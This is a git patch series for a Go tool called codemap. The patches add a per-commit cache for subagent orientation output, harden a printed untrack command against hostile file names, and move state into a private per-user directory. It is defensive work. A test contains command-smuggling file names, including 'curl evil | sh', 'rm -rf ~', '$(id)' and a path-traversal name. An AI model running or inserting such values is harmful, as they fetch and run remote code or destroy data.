m.Run() _ = os.RemoveAll(dir) os.Exit(code) From 11912bc6dd3c5ed64a3a1ea0b7456f6fd4df64b8 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sat, 14 Nov 2026 22:54:41 -0500 Subject: [PATCH 05/15] perf(hooks): cache the subagent orientation block per HEAD subagent-start rendered the tree on every spawn, 3.96s on a 10k-file repo, which after the 3s deadline meant no block at all. The block is now cached in the project's state directory (subagent-start.json), keyed by HEAD plus a format version: - hit: print the cached block, no render (0.02s here vs 0.54s for a miss) - miss: render under the 3s deadline and store the result atomically - deadline passed: print nothing, start a detached `hook subagent-refresh` that renders under a 60s bound and stores the block; a lock file with a 60s staleness takeover keeps it to one per project - a corrupt or unreadable cache is a miss, never an error Remaining ceiling: keyed on HEAD, so a new uncommitted top-level directory appears only after the next commit. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- cmd/hooks.go | 44 +++++++++--- cmd/subagent_cache.go | 141 +++++++++++++++++++++++++++++++++++++ cmd/subagent_cache_test.go | 129 +++++++++++++++++++++++++++++++++ 3 files changed, 304 insertions(+), 10 deletions(-) create mode 100644 cmd/subagent_cache.go create mode 100644 cmd/subagent_cache_test.go diff --git a/cmd/hooks.go b/cmd/hooks.go index 36d95e29..d3cfb5d2 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -204,7 +204,8 @@ func getHubInfoWithFallback(root string, allowFallback bool) *hubInfo { // RunHookWithTimeout executes a hook with a hard timeout. // On timeout, returns HookTimeoutError and callers should fail open. func RunHookWithTimeout(hookName, root string, timeout time.Duration) error { - if timeout <= 0 { + // The background refresh carries its own bound (subagentRefreshBound). + if timeout <= 0 || hookName == subagentRefreshHook { return RunHook(hookName, root) } @@ -314,6 +315,10 @@ func RunHook(hookName, root string) error { _ = emitHookContext("SubagentStart", func() error { return hookSubagentStart(root) }, false) return nil } + if hookName == subagentRefreshHook { + refreshSubagentCache(root) + return nil + } resolvedRoot, _, err := ResolveNearestGitRoot(root) if err != nil { return err @@ -563,14 +568,29 @@ func renderTreeSubprocess(ctx context.Context, exe, root string, projCfg config. // subagentStartCap bounds the subagent orientation block. const subagentStartCap = 2500 -// subagentStartTimeout kills the tree render; a slow repo gets no block -// rather than a stalled subagent. -// ponytail: renders on every spawn (4s on a 10k-file repo); cache the block per HEAD if large repos need it. +// subagentStartTimeout bounds a cache-miss render; past it the subagent gets +// no block and a background render fills the cache for the next one. const subagentStartTimeout = 3 * time.Second +// renderSubagentBlock renders the orientation block; tests replace it. +var renderSubagentBlock = func(ctx context.Context, root string) (string, error) { + exe, err := os.Executable() + if err != nil { + return "", err + } + tree, err := renderTreeSubprocess(ctx, exe, root, config.Load(root), 1, TreeLeanDirsOnly, io.Discard) + if err != nil { + return "", err + } + header := "๐Ÿ“ codemap orientation: top-level directories (โญ๏ธ marks hubs), then the hub list. Run `codemap .` for the full tree.\n" + return fitSubagentStart(header, tree, subagentStartCap), nil +} + // hookSubagentStart orients a subagent, which never gets SessionStart: the // top-level directories with hub marks, then the hub list. The payload's cwd // wins over the process cwd because a worktree-isolated subagent runs elsewhere. +// ponytail: cached per HEAD, so a new top-level directory shows only after +// the next commit; key on a tree listing hash if that ever matters. func hookSubagentStart(root string) error { if info, err := os.Stdin.Stat(); err == nil && info.Mode()&os.ModeCharDevice == 0 { var payload struct { @@ -587,18 +607,22 @@ func hookSubagentStart(root string) error { if root, err = ValidateProjectPath(resolved); err != nil { return err } - exe, err := os.Executable() - if err != nil { - return err + key := subagentCacheKey(root) + if block, ok := readSubagentCache(root, key); ok { + fmt.Print(block) + return nil } ctx, cancel := context.WithTimeout(context.Background(), subagentStartTimeout) defer cancel() - tree, err := renderTreeSubprocess(ctx, exe, root, config.Load(root), 1, TreeLeanDirsOnly, io.Discard) + block, err := renderSubagentBlock(ctx, root) if err != nil { + if ctx.Err() != nil && key != "" { + startSubagentRefresh(root) + } return err } - header := "๐Ÿ“ codemap orientation: top-level directories (โญ๏ธ marks hubs), then the hub list. Run `codemap .` for the full tree.\n" - fmt.Print(fitSubagentStart(header, tree, subagentStartCap)) + writeSubagentCache(root, key, block) + fmt.Print(block) return nil } diff --git a/cmd/subagent_cache.go b/cmd/subagent_cache.go new file mode 100644 index 00000000..25968fd0 --- /dev/null +++ b/cmd/subagent_cache.go @@ -0,0 +1,141 @@ +package cmd + +import ( + "context" + "encoding/json" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "codemap/internal/gitexclude" + "codemap/internal/projectpath" + "codemap/internal/runtimefile" +) + +// The subagent orientation block is cached per HEAD commit in the project's +// state directory, so a large repo renders it once per commit, not once per +// subagent spawn. +const ( + subagentCacheVersion = "1" // bump when the block's format changes + subagentCacheFile = "subagent-start.json" + subagentRefreshLock = "subagent-start.lock" + subagentRefreshHook = "subagent-refresh" // internal: the background render + subagentRefreshBound = 60 * time.Second +) + +type subagentCache struct { + Key string `json:"key"` + Block string `json:"block"` +} + +// subagentCacheKey is HEAD plus the format version; "" (no caching) when the +// repo has no commit yet. +func subagentCacheKey(root string) string { + cmd := exec.Command("git", "rev-parse", "--verify", "-q", "HEAD") + cmd.Dir = root + out, err := cmd.Output() + head := strings.TrimSpace(string(out)) + if err != nil || head == "" { + return "" + } + return head + "/v" + subagentCacheVersion +} + +func subagentCacheDir(root string) (string, bool) { + dir, err := projectpath.CheckedRuntimeCodemapDir(root) + return dir, err == nil +} + +// readSubagentCache returns the cached block for key; a missing, corrupt or +// stale cache is a miss. +func readSubagentCache(root, key string) (string, bool) { + dir, ok := subagentCacheDir(root) + if !ok || key == "" { + return "", false + } + data, err := runtimefile.Read(filepath.Join(dir, subagentCacheFile)) + if err != nil { + return "", false + } + var cache subagentCache + if json.Unmarshal(data, &cache) != nil || cache.Key != key || cache.Block == "" { + return "", false + } + return cache.Block, true +} + +// writeSubagentCache stores block for key, best effort. +func writeSubagentCache(root, key, block string) { + dir, ok := subagentCacheDir(root) + if !ok || key == "" || block == "" { + return + } + data, err := json.Marshal(subagentCache{Key: key, Block: block}) + if err != nil || gitexclude.MkdirAll(dir, 0o755) != nil { + return + } + _ = runtimefile.WriteAtomic(filepath.Join(dir, subagentCacheFile), data, 0o644) +} + +// startSubagentRefresh launches the background render, detached, so the next +// subagent gets a block; tests replace it. +var startSubagentRefresh = func(root string) { + exe, err := os.Executable() + if err != nil { + return + } + cmd := exec.Command(exe, append(projectpath.PrependSetupRootArgs("hook", subagentRefreshHook), root)...) + if cmd.Start() == nil { + _ = cmd.Process.Release() + } +} + +// refreshSubagentCache renders and stores the block for the current HEAD, +// at most one per project at a time and never past subagentRefreshBound. +func refreshSubagentCache(root string) { + resolved, found, err := ResolveNearestGitRoot(root) + if err != nil || !found { + return + } + if root, err = ValidateProjectPath(resolved); err != nil { + return + } + dir, ok := subagentCacheDir(root) + key := subagentCacheKey(root) + if !ok || key == "" || gitexclude.MkdirAll(dir, 0o755) != nil { + return + } + release, ok := acquireRefreshLock(filepath.Join(dir, subagentRefreshLock)) + if !ok { + return + } + defer release() + if _, hit := readSubagentCache(root, key); hit { + return + } + ctx, cancel := context.WithTimeout(context.Background(), subagentRefreshBound) + defer cancel() + if block, err := renderSubagentBlock(ctx, root); err == nil { + writeSubagentCache(root, key, block) + } +} + +// acquireRefreshLock creates lock exclusively. A lock older than the refresh +// bound belongs to a render that died, so it is taken over. +func acquireRefreshLock(lock string) (func(), bool) { + for attempt := 0; attempt < 2; attempt++ { + f, err := os.OpenFile(lock, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o644) + if err == nil { + _ = f.Close() + return func() { _ = os.Remove(lock) }, true + } + info, statErr := os.Stat(lock) + if statErr != nil || time.Since(info.ModTime()) < subagentRefreshBound { + return nil, false + } + _ = os.Remove(lock) + } + return nil, false +} diff --git a/cmd/subagent_cache_test.go b/cmd/subagent_cache_test.go new file mode 100644 index 00000000..abe45d69 --- /dev/null +++ b/cmd/subagent_cache_test.go @@ -0,0 +1,129 @@ +package cmd + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +// subagentCacheRepo is a committed git repo with the renderer and the +// background refresh replaced by counters. +func subagentCacheRepo(t *testing.T) (root string, renders, refreshes *int) { + t.Helper() + root = makeRepoOnBranch(t, "main") + renders, refreshes = new(int), new(int) + origRender, origRefresh := renderSubagentBlock, startSubagentRefresh + t.Cleanup(func() { renderSubagentBlock, startSubagentRefresh = origRender, origRefresh }) + renderSubagentBlock = func(ctx context.Context, root string) (string, error) { + *renders++ + return "block " + subagentCacheKey(root) + "\n", nil + } + startSubagentRefresh = func(string) { *refreshes++ } + return root, renders, refreshes +} + +func runSubagentStartHook(t *testing.T, root string) string { + t.Helper() + var out string + withStdinInput(t, `{"cwd":"`+filepath.ToSlash(root)+`"}`, func() { + out = captureOutput(func() { + if err := hookSubagentStart(root); err != nil { + t.Fatalf("hookSubagentStart: %v", err) + } + }) + }) + return out +} + +func TestSubagentStartCachesPerHead(t *testing.T) { + root, renders, _ := subagentCacheRepo(t) + + first := runSubagentStartHook(t, root) + if *renders != 1 || !strings.HasPrefix(first, "block ") { + t.Fatalf("miss: renders=%d out=%q", *renders, first) + } + dir, _ := subagentCacheDir(root) + if _, err := os.Stat(filepath.Join(dir, subagentCacheFile)); err != nil { + t.Fatalf("miss did not store the block: %v", err) + } + if second := runSubagentStartHook(t, root); second != first || *renders != 1 { + t.Fatalf("hit rendered again: renders=%d out=%q", *renders, second) + } + + oldKey := subagentCacheKey(root) + runGitTestCmd(t, root, "-c", "user.name=t", "-c", "user.email=t@example.com", "commit", "-q", "--allow-empty", "-m", "next") + if subagentCacheKey(root) == oldKey { + t.Fatal("cache key did not change with HEAD") + } + if third := runSubagentStartHook(t, root); *renders != 2 || third == first { + t.Fatalf("new HEAD served the old block: renders=%d out=%q", *renders, third) + } +} + +func TestSubagentStartCorruptCacheIsAMiss(t *testing.T) { + root, renders, _ := subagentCacheRepo(t) + dir, _ := subagentCacheDir(root) + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, subagentCacheFile), []byte("{not json"), 0o644); err != nil { + t.Fatal(err) + } + if out := runSubagentStartHook(t, root); *renders != 1 || !strings.HasPrefix(out, "block ") { + t.Fatalf("corrupt cache: renders=%d out=%q", *renders, out) + } +} + +func TestSubagentStartTimeoutPrintsNothingAndRefreshes(t *testing.T) { + root, _, refreshes := subagentCacheRepo(t) + renderSubagentBlock = func(ctx context.Context, root string) (string, error) { + <-ctx.Done() + return "", ctx.Err() + } + start := time.Now() + withStdinInput(t, `{"cwd":"`+filepath.ToSlash(root)+`"}`, func() { + out := captureOutput(func() { _ = hookSubagentStart(root) }) + if out != "" { + t.Fatalf("timed-out render printed %q", out) + } + }) + if *refreshes != 1 { + t.Fatalf("background refreshes = %d, want 1", *refreshes) + } + if elapsed := time.Since(start); elapsed > subagentStartTimeout+2*time.Second { + t.Fatalf("hook took %v past its deadline", elapsed) + } +} + +func TestRefreshSubagentCacheHonoursLock(t *testing.T) { + root, renders, _ := subagentCacheRepo(t) + dir, _ := subagentCacheDir(root) + if err := os.MkdirAll(dir, 0o755); err != nil { + t.Fatal(err) + } + lock := filepath.Join(dir, subagentRefreshLock) + if err := os.WriteFile(lock, nil, 0o644); err != nil { + t.Fatal(err) + } + refreshSubagentCache(root) + if *renders != 0 { + t.Fatal("refresh ran while another held the lock") + } + stale := time.Now().Add(-2 * subagentRefreshBound) + if err := os.Chtimes(lock, stale, stale); err != nil { + t.Fatal(err) + } + refreshSubagentCache(root) + if *renders != 1 { + t.Fatalf("stale lock not taken over: renders=%d", *renders) + } + if _, ok := readSubagentCache(root, subagentCacheKey(root)); !ok { + t.Fatal("refresh did not store the block") + } + if _, err := os.Stat(lock); !os.IsNotExist(err) { + t.Fatalf("lock left behind: %v", err) + } +} From bbfba69dc56e568cee42c2d2e9bf06f8ad865d9e Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sat, 14 Nov 2026 22:58:00 -0500 Subject: [PATCH 06/15] fix(state): paste-safe untrack hint, private user state dir Tracked .codemap/ file names are repo-controlled, so the printed `git rm --cached` line now carries only names matching known codemap state files in [A-Za-z0-9._/-] (no ".."). Every tracked machine-state file is listed as quoted data; unrecognised names are listed but left out of the command. The user state directory no longer falls back to os.TempDir(): with no absolute XDG_CACHE_HOME and no OS user cache dir, SelectRuntime returns ErrNoStateDir, writes are skipped, reads see no state, and hooks exit 0. The cache root and per-project directory are created 0700, must be real directories owned by the current user (narrowed to 0700 if wider), and carry the project marker the --setup-root branch already uses, so a planted symlink or another user's directory is refused. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- cmd/doctor.go | 2 +- cmd/gitignore.go | 33 ++++++++-- cmd/hooks.go | 7 ++- cmd/setup_review_test.go | 46 ++++++++++++-- internal/projectpath/owner_unix.go | 13 ++++ internal/projectpath/owner_windows.go | 8 +++ internal/projectpath/runtime.go | 71 +++++++++++++++++++--- internal/projectpath/runtime_cache_test.go | 42 +++++++++++++ state_location_test.go | 40 ++++++++++++ 9 files changed, 242 insertions(+), 20 deletions(-) create mode 100644 internal/projectpath/owner_unix.go create mode 100644 internal/projectpath/owner_windows.go diff --git a/cmd/doctor.go b/cmd/doctor.go index 9a28195d..b0d0ec24 100644 --- a/cmd/doctor.go +++ b/cmd/doctor.go @@ -225,7 +225,7 @@ func doctorCheckTrackedCodemapState(root string, failures *int) { return } if tracked := trackedMachineState(root); len(tracked) > 0 { - fmt.Printf("MISS tracked codemap state: %d machine-state file(s) under .codemap/ are committed (%s); run: %s\n", len(tracked), strings.Join(tracked, ", "), untrackCommand(tracked)) + fmt.Printf("MISS tracked codemap state: %d machine-state file(s) under .codemap/ are committed:\n%s", len(tracked), trackedStateDetail(tracked)) *failures++ return } diff --git a/cmd/gitignore.go b/cmd/gitignore.go index 60c8b997..55a215f9 100644 --- a/cmd/gitignore.go +++ b/cmd/gitignore.go @@ -5,6 +5,7 @@ import ( "io" "os" "path/filepath" + "regexp" "strings" "codemap/internal/gitexclude" @@ -42,9 +43,35 @@ func reportTrackedState(w io.Writer, root string) { if len(tracked) == 0 { return } - fmt.Fprintf(w, "%d codemap machine-state file(s) are committed; untrack them with:\n %s\n", len(tracked), untrackCommand(tracked)) + fmt.Fprintf(w, "%d codemap machine-state file(s) are committed:\n%s", len(tracked), trackedStateDetail(tracked)) } +// trackedStateDetail lists tracked files as quoted data, one per line, then a +// paste-safe untrack command. File names are repo-controlled, so the command +// carries only names matching a known state file; anything else is listed +// for the user to handle by hand. +func trackedStateDetail(tracked []string) string { + var b strings.Builder + var safe []string + for _, f := range tracked { + fmt.Fprintf(&b, " %q\n", f) + if knownStateFile.MatchString(f) && !strings.Contains(f, "..") { + safe = append(safe, f) + } + } + if len(safe) > 0 { + fmt.Fprintf(&b, " untrack with: git rm --cached -- %s\n", strings.Join(safe, " ")) + } + if len(safe) < len(tracked) { + fmt.Fprintf(&b, " %d unrecognised name(s) above are left out of the command; untrack them by hand if they are codemap state\n", len(tracked)-len(safe)) + } + return b.String() +} + +// knownStateFile matches the machine-state paths codemap writes, in the +// characters [A-Za-z0-9._/-] only. +var knownStateFile = regexp.MustCompile(`^\.codemap/(state\.json|status|hubs\.txt|agent_edits\.jsonl|events\.log|watch\.pid|sessions\.lock|topology-state\.json|handoff\.[A-Za-z0-9_-]+\.(json|log)|(sessions|projects|runtime)/[A-Za-z0-9._/-]+)$`) + // trackedMachineState is gitexclude.TrackedStateFiles minus the user-authored // files (config.json, skills/) that are meant to be committed. func trackedMachineState(root string) []string { @@ -61,10 +88,6 @@ func trackedMachineState(root string) []string { return state } -func untrackCommand(files []string) string { - return "git rm --cached -- " + strings.Join(files, " ") -} - // localCodemapIgnore reports whether root's info/exclude already lists // ignoreEntry. func localCodemapIgnore(root string) (string, bool, error) { diff --git a/cmd/hooks.go b/cmd/hooks.go index d3cfb5d2..d1646082 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -345,7 +345,12 @@ func RunHook(hookName, root string) error { default: return fmt.Errorf("unknown hook: %s\nAvailable: session-start, subagent-start, pre-edit, post-edit, prompt-submit, pre-compact, session-stop", hookName) } - return runHookOutput(hookName, fn) + err = runHookOutput(hookName, fn) + // No safe place for state degrades features; it never fails the agent. + if errors.Is(err, projectpath.ErrNoStateDir) { + return nil + } + return err } func runHookOutput(hookName string, fn func() error) error { diff --git a/cmd/setup_review_test.go b/cmd/setup_review_test.go index ff4d990f..99ff05b5 100644 --- a/cmd/setup_review_test.go +++ b/cmd/setup_review_test.go @@ -1,6 +1,7 @@ package cmd import ( + "fmt" "io" "os" "os/exec" @@ -662,11 +663,46 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { if code == 0 { t.Fatalf("RunDoctor exit code = 0, want tracked state to fail\n%s", out) } - want := "MISS tracked codemap state: 1 machine-state file(s) under .codemap/ are committed (.codemap/state.json); run: git rm --cached -- .codemap/state.json" - if !strings.Contains(out, want) { - t.Fatalf("expected tracked-state diagnosis %q, got:\n%s", want, out) + for _, want := range []string{ + "MISS tracked codemap state: 1 machine-state file(s) under .codemap/ are committed:", + ` ".codemap/state.json"`, + " untrack with: git rm --cached -- .codemap/state.json\n", + } { + if !strings.Contains(out, want) { + t.Fatalf("expected %q in tracked-state diagnosis, got:\n%s", want, out) + } + } + if strings.Contains(out, "config.json\"") || strings.Contains(out, "git rm -r") { + t.Fatalf("untrack report must name only machine state:\n%s", out) + } +} + +// Tracked names are repo-controlled: a hostile one is listed as quoted data +// and never reaches the printed command line. +func TestTrackedStateDetailKeepsHostileNamesOutOfTheCommand(t *testing.T) { + hostile := []string{ + ".codemap/x; curl evil | sh", + ".codemap/state.json\nrm -rf ~", + ".codemap/$(id)", + ".codemap/projects/../../etc", + ".codemap/handoff.a b.json", + } + out := trackedStateDetail(append([]string{".codemap/hubs.txt"}, hostile...)) + var command string + for _, line := range strings.Split(out, "\n") { + if strings.Contains(line, "git rm") { + command = line + } + } + if command != " untrack with: git rm --cached -- .codemap/hubs.txt" { + t.Fatalf("command line = %q\nfull output:\n%s", command, out) + } + for _, name := range hostile { + if !strings.Contains(out, fmt.Sprintf("%q", name)) { + t.Fatalf("hostile name %q not listed as quoted data:\n%s", name, out) + } } - if strings.Contains(out, "git rm --cached -- .codemap/config.json") || strings.Contains(out, "git rm -r") { - t.Fatalf("untrack command must name only machine state:\n%s", out) + if !strings.Contains(out, "5 unrecognised name(s)") { + t.Fatalf("missing left-out note:\n%s", out) } } diff --git a/internal/projectpath/owner_unix.go b/internal/projectpath/owner_unix.go new file mode 100644 index 00000000..0a142a40 --- /dev/null +++ b/internal/projectpath/owner_unix.go @@ -0,0 +1,13 @@ +//go:build !windows + +package projectpath + +import ( + "os" + "syscall" +) + +func ownedByCurrentUser(info os.FileInfo) bool { + stat, ok := info.Sys().(*syscall.Stat_t) + return ok && int(stat.Uid) == os.Getuid() +} diff --git a/internal/projectpath/owner_windows.go b/internal/projectpath/owner_windows.go new file mode 100644 index 00000000..ab310448 --- /dev/null +++ b/internal/projectpath/owner_windows.go @@ -0,0 +1,8 @@ +//go:build windows + +package projectpath + +import "os" + +// The per-user cache under %LocalAppData% is already private to the user. +func ownedByCurrentUser(os.FileInfo) bool { return true } diff --git a/internal/projectpath/runtime.go b/internal/projectpath/runtime.go index 196572b8..2b7145bd 100644 --- a/internal/projectpath/runtime.go +++ b/internal/projectpath/runtime.go @@ -4,6 +4,7 @@ import ( "crypto/sha256" "encoding/hex" "encoding/json" + "errors" "fmt" "os" "path/filepath" @@ -38,7 +39,11 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { } if selection.Source != SourceExplicit { if !IsSetUp(selection.ProjectRoot) { - result.RuntimeDir = filepath.Join(CanonicalPath(StateCacheDir()), ProjectKey(selection.ProjectRoot)) + dir, err := userStateDir(selection.ProjectRoot) + if err != nil { + return RuntimeSelection{}, err + } + result.RuntimeDir = dir } return result, nil } @@ -65,24 +70,74 @@ func IsSetUp(projectRoot string) bool { return err == nil && info.IsDir() } +// ErrNoStateDir reports that a project that is not set up has nowhere safe to +// keep machine state; callers skip writes and treat state as absent. +var ErrNoStateDir = errors.New("no user cache directory for codemap state") + // StateCacheDir is the per-user root for machine state of projects that are -// not set up: $XDG_CACHE_HOME/codemap on every OS when set, else the OS user -// cache directory. -func StateCacheDir() string { +// not set up: $XDG_CACHE_HOME/codemap on every OS when it is absolute, else +// the OS user cache directory. There is deliberately no shared-temp fallback. +func StateCacheDir() (string, bool) { base := os.Getenv("XDG_CACHE_HOME") if !filepath.IsAbs(base) { var err error - if base, err = os.UserCacheDir(); err != nil { - base = os.TempDir() + if base, err = os.UserCacheDir(); err != nil || !filepath.IsAbs(base) { + return "", false } } - return filepath.Join(base, "codemap") + return filepath.Join(base, "codemap"), true +} + +// userStateDir returns, creating it 0700, /: both +// levels real directories owned by this user, marked with the project root. +func userStateDir(projectRoot string) (string, error) { + cacheDir, ok := StateCacheDir() + if !ok { + return "", ErrNoStateDir + } + if err := os.MkdirAll(filepath.Dir(cacheDir), 0o700); err != nil { + return "", fmt.Errorf("create user cache %q: %w", filepath.Dir(cacheDir), err) + } + cacheDir = CanonicalPath(cacheDir) + dir := filepath.Join(cacheDir, ProjectKey(projectRoot)) + for _, d := range []string{cacheDir, dir} { + if err := ensurePrivateDirectory(d); err != nil { + return "", err + } + } + if err := ensureProjectMarker(dir, CanonicalPath(projectRoot)); err != nil { + return "", err + } + return dir, nil } func ensureRealDirectory(path string) error { + return ensureDirectory(path, 0o755) +} + +// ensurePrivateDirectory is ensureRealDirectory for per-user state: created +// 0700, owned by this user, and narrowed to 0700 when it was wider. +func ensurePrivateDirectory(path string) error { + if err := ensureDirectory(path, 0o700); err != nil { + return err + } + info, err := os.Lstat(path) + if err != nil { + return err + } + if !ownedByCurrentUser(info) { + return fmt.Errorf("unsafe runtime directory %q: not owned by the current user", path) + } + if info.Mode().Perm()&0o077 != 0 { + return os.Chmod(path, 0o700) + } + return nil +} + +func ensureDirectory(path string, perm os.FileMode) error { info, err := os.Lstat(path) if os.IsNotExist(err) { - if err := os.Mkdir(path, 0o755); err != nil && !os.IsExist(err) { + if err := os.Mkdir(path, perm); err != nil && !os.IsExist(err) { return fmt.Errorf("create runtime directory %q: %w", path, err) } info, err = os.Lstat(path) diff --git a/internal/projectpath/runtime_cache_test.go b/internal/projectpath/runtime_cache_test.go index 0ff4ca5d..73f89a09 100644 --- a/internal/projectpath/runtime_cache_test.go +++ b/internal/projectpath/runtime_cache_test.go @@ -1,12 +1,49 @@ package projectpath import ( + "errors" "os" "path/filepath" + "runtime" "strings" "testing" ) +func TestSelectRuntimeRefusesPlantedStateSymlink(t *testing.T) { + root := makeProjectFixture(t) + cache := t.TempDir() + t.Setenv("XDG_CACHE_HOME", cache) + planted := t.TempDir() + if err := os.MkdirAll(filepath.Join(cache, "codemap"), 0o700); err != nil { + t.Fatal(err) + } + if err := os.Symlink(planted, filepath.Join(cache, "codemap", ProjectKey(root))); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + if _, err := SelectRuntime(root); err == nil { + t.Fatal("SelectRuntime accepted a symlinked project state directory") + } + if _, err := CheckedRuntimeCodemapDir(root); err == nil { + t.Fatal("CheckedRuntimeCodemapDir accepted a symlinked project state directory") + } + if entries, _ := os.ReadDir(planted); len(entries) != 0 { + t.Fatalf("wrote through the planted link: %v", entries) + } +} + +func TestSelectRuntimeWithoutCacheDirIsUnavailable(t *testing.T) { + root := makeProjectFixture(t) + t.Setenv("XDG_CACHE_HOME", "") + t.Setenv("HOME", "") + t.Setenv("LOCALAPPDATA", "") + if _, ok := StateCacheDir(); ok { + t.Skip("this OS still reports a user cache dir") + } + if _, err := SelectRuntime(root); !errors.Is(err, ErrNoStateDir) { + t.Fatalf("SelectRuntime err = %v, want ErrNoStateDir", err) + } +} + func TestSelectRuntimeUsesCacheUntilSetUp(t *testing.T) { root := makeProjectFixture(t) cache := t.TempDir() @@ -20,6 +57,11 @@ func TestSelectRuntimeUsesCacheUntilSetUp(t *testing.T) { if want := filepath.Join(CanonicalPath(cache), "codemap", ProjectKey(root)); selection.RuntimeDir != want { t.Fatalf("RuntimeDir = %q, want %q", selection.RuntimeDir, want) } + for _, dir := range []string{filepath.Dir(selection.RuntimeDir), selection.RuntimeDir} { + if info, err := os.Stat(dir); err != nil || (runtime.GOOS != "windows" && info.Mode().Perm() != 0o700) { + t.Fatalf("%s: mode %v, err %v; want 0700", dir, info.Mode().Perm(), err) + } + } if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { t.Fatalf("selection created .codemap/: %v", err) } diff --git a/state_location_test.go b/state_location_test.go index 8590aac7..110f82ad 100644 --- a/state_location_test.go +++ b/state_location_test.go @@ -111,6 +111,46 @@ func TestUnsetUpRepoKeepsNothingInTheRepo(t *testing.T) { } } +// TestUnsetUpRepoWithoutCacheDirWritesNothing: with no user cache directory +// (no HOME, no XDG_CACHE_HOME) state is unavailable, never put in a shared +// temp dir, and every hook still exits 0. +func TestUnsetUpRepoWithoutCacheDirWritesNothing(t *testing.T) { + root := stateFixture(t) + edit := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}` + var env []string + for _, kv := range os.Environ() { + if !strings.HasPrefix(kv, "HOME=") && !strings.HasPrefix(kv, "XDG_CACHE_HOME=") && !strings.HasPrefix(kv, "LOCALAPPDATA=") { + env = append(env, kv) + } + } + for _, step := range []struct{ stdin, hook string }{ + {`{"session_id":"s"}`, "session-start"}, + {`{"session_id":"s","prompt":"fix pkg/pkg.go"}`, "prompt-submit"}, + {edit, "pre-edit"}, + {edit, "post-edit"}, + {`{"cwd":"` + filepath.ToSlash(root) + `"}`, "subagent-start"}, + {`{"session_id":"s"}`, "pre-compact"}, + {`{"session_id":"s"}`, "session-stop"}, + } { + cmd := exec.Command(codemapTestBinaryPath, "hook", step.hook) + cmd.Dir = root + cmd.Env = env + cmd.Stdin = strings.NewReader(step.stdin) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("hook %s without a cache dir: %v\n%s", step.hook, err, out) + } + } + stop := exec.Command(codemapTestBinaryPath, "watch", "stop", root) + stop.Env = env + _ = stop.Run() + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf(".codemap/ created without a cache dir: %v", err) + } + if matches, _ := filepath.Glob(filepath.Join(os.TempDir(), "codemap", "*")); len(matches) != 0 { + t.Fatalf("state fell back to the shared temp dir: %v", matches) + } +} + // TestSetUpRepoKeepsStateInRepo: a repo with .codemap/ keeps its state there // exactly as before, and the user cache stays empty. func TestSetUpRepoKeepsStateInRepo(t *testing.T) { From ac748a86c80d0f34bed8f5335e307aeb2ff62e89 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sat, 14 Nov 2026 23:29:06 -0500 Subject: [PATCH 07/15] fix(state): machine state always lives in the per-user state dir State location no longer depends on whether /.codemap/ exists. That runtime marker caused a split brain when setup ran under a live daemon, made linked worktrees show `?? .codemap/`, let a worktree become "set up" by accident, and cost un-set-up repos their auto-detected `only` filters. - SelectRuntime always resolves /codemap// (explicit --setup-root unchanged). In-repo .codemap/ holds only config.json and skills/, written only by setup, config init and skill init; nothing else writes .gitignore there. Legacy in-repo state is not read. - Auto-detected config is stored once as auto-config.json in the state dir; config.Load and the daemon fall back to it, an in-repo config.json wins. - Getting the state dir: Lstat from the codemap leaf down before canonicalising (links refused, links above the cache root allowed), create at most the cache dir's last component (never a missing home), every level 0700 and state files 0600. Every failure wraps ErrNoStateDir, so hooks stay quiet and exit 0. The daemon registry also never creates home. - A live daemon found only through the registry (an older binary's state layout) counts as not running; `watch start` stops it after the ownership check and starts one, `watch stop` stops it, `watch status` names it. - subagent-start launches the background render before the foreground one, so a hook timeout that ends the process still fills the cache. - doctor prints the state dir; doctor and setup list committed legacy state with the untrack command and untracked leftovers as safe to delete, names escaped as \xNN outside [A-Za-z0-9._/-]. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- .claude/skills/config-setup/SKILL.md | 2 +- .claude/skills/handoff/SKILL.md | 10 +- blast_radius.go | 2 +- cmd/agent_edits.go | 12 +- cmd/config.go | 81 +++-- cmd/config_more_test.go | 75 ++-- cmd/doctor.go | 21 +- cmd/gitignore.go | 97 +++++- cmd/hooks.go | 40 ++- cmd/hooks_more_test.go | 2 +- cmd/setup_review_test.go | 31 +- cmd/setup_run_test.go | 14 +- cmd/skill.go | 3 +- cmd/subagent_cache.go | 19 +- cmd/subagent_cache_test.go | 32 +- collide.go | 2 +- config/config.go | 31 +- docs/CONFIG.md | 4 +- docs/HOOKS.md | 15 +- docs/INSTALL.md | 6 +- find_cmd.go | 2 +- handoff/storage.go | 55 +-- internal/gitexclude/gitexclude.go | 35 +- internal/gitexclude/gitexclude_test.go | 27 +- internal/projectpath/path.go | 13 +- internal/projectpath/path_test.go | 9 +- internal/projectpath/runtime.go | 76 +++-- internal/projectpath/runtime_cache_test.go | 96 +++++- main.go | 15 +- plugins/codemap/skills/config-setup/SKILL.md | 2 +- plugins/codemap/skills/handoff/SKILL.md | 10 +- skills/builtin/config-setup.md | 2 +- skills/builtin/handoff.md | 10 +- state_location_test.go | 338 ++++++++++++++++++- topology/cache.go | 24 +- topology/cache_test.go | 4 +- watch/daemon.go | 16 +- watch/events.go | 4 +- watch/publication.go | 4 +- watch/registry.go | 27 +- watch/state.go | 77 +++-- watch/state_test.go 